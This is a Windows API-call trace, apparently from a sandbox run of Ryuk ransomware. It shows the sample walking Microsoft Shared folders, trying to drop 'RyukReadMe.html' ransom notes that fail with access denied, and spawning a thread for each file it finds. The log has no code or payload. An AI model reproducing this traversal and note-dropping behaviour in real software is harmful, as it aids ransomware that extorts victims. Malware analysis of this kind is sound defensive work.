	[0167.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.150] GetLastError () returned 0x5
	[0167.150] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.151] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0167.151] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0167.154] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.154] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1
	[0167.154] SetLastError (dwErrCode=0x0) 
	[0167.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.155] GetLastError () returned 0x5
	[0167.155] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.155] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.155] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.155] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0167.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0167.158] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.159] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0167.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0167.161] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.162] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1
	[0167.162] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8
	[0167.164] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.164] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1
	[0167.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc
	[0167.167] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.168] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0
	[0167.168] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.168] SetLastError (dwErrCode=0x0) 
	[0167.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.169] GetLastError () returned 0x5
	[0167.169] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.169] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0167.169] SetLastError (dwErrCode=0x0) 
	[0167.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.169] GetLastError () returned 0x5
	[0167.169] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.170] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.170] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0167.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0
	[0167.172] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.173] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0167.173] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d4
	[0167.176] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.176] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1
	[0167.176] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8
	[0167.178] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.179] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1
	[0167.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0167.302] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.325] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0
	[0167.325] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.325] SetLastError (dwErrCode=0x0) 
	[0167.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.325] GetLastError () returned 0x5
	[0167.326] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.326] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0
	[0167.326] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.327] SetLastError (dwErrCode=0x0) 
	[0167.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.327] GetLastError () returned 0x5
	[0167.327] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.327] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0167.327] SetLastError (dwErrCode=0x0) 
	[0167.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.328] GetLastError () returned 0x5
	[0167.328] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.333] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.333] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1
	[0167.333] SetLastError (dwErrCode=0x0) 
	[0167.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.334] GetLastError () returned 0x5
	[0167.334] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.334] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.337] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.337] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1
	[0167.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0167.344] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.344] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0
	[0167.344] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.345] SetLastError (dwErrCode=0x0) 
	[0167.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.345] GetLastError () returned 0x5
	[0167.345] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
